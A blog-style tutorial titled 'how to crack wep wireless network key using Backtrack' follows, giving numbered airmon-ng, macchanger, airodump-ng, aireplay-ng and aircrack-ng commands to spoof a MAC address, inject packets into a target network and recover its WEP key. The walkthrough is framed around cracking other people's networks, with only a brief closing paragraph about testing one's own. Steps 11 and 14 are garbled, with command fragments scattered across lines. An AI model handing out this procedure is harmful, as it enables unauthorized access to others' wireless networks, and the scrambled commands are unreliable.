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how to crack wep wireless network key using Backtrack

 09/08/2017 - 05:25
wep key using Backtrack

Step 1:-
First Download Backtrack  from the following link:http://www.remote-exploit.org/backtrack_download.html

 

Step 2:-Burn the iso image on CD and boot your laptop from CD drive

 

Step 3:-Select the third boot option(VESA/KDE).

 

Step 4:-Once in BT3, click the tiny black box in the lower left corner to load up a  
 "Konsole" window.

 

Step 5:-Type the following command

airmon-ng
Note down the interface name. In this example wifi0

 

Step 6:-
airmon-ng stop wifi0

 

Step 7:-
ifconfig wifi0 down

 

Step 8:-
macchanger --mac 00:11:22:33:44:66 wifi0

 

Step 9:-
airmon-ng start wifi0

 

Step 10:-
airodump-ng wifi0
This will start populating Wifi networks. Press Ctrl + C to stop.
Check the network with WEP encryption.
Notedown BSSID, CH and ESSID somewhere in notepad or paper
Note that if the same BSSID is available in the second part with STATION associated with it,
means you some one is accessing that network and our task will be little easier.  
If not than don’t worry we will still crack it.

 

Step 11:-
airodump-ng -c (channel) -w (file name)
Replace
(channel) with the CH which u had already n
(file name) with any name of your choice
(bssid) with the BSSID which u had already note
--bssid (bssid) wifi0
Note it
Leave this console as it is and start new konsole

 

Step 12:-
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:66 wifi0
If you don’t get Association Successful mesage then keep on trying until
you got success.

 

Step 13:-
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:66 wifi0
Well if you don’t see ARP ACK and sent packets are not increasing or still 0  
than it means no 1 is
accessing that network.But don’t worry you go an optional step,
Leave this console as it is and start new k

 

Step 14:-
aireplay-ng -2 –p 0841 –c FF:FF:FF:FF:FF:FF

konsole
message than keep on trying until you get success
got an optional step
konsole
–b (bssid) –h 00:11:22:33:44:66 wfi0
Press y and enter
Now you will see that ARP and ACK packets in 2nd console are increasing fast
Keep this console as it is and start 4th console.

 

Step 15:-
aircrack-ng -b (bssid) (filename)-

Just wait and watch…..Backtrack will do rest of the work.
Hurray we got the key.  
Done..!!   

Wireless networks are everywhere; they are widely available, cheap, and easy to setup. To avoid the hassle of setting up a wired network in my own home, I chose to go wireless. After a day of enjoying this wireless freedom, I began thinking about security. How secure is my wireless network?  
I searched the Internet for many days, reading articles, gathering information, and participating on message boards and forums. I soon came to the realization that the best way for me to understand the security of my wireless network would be to test it myself. Many sources said it was easy, few said it was hard.  

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Arshad Ali Ansari

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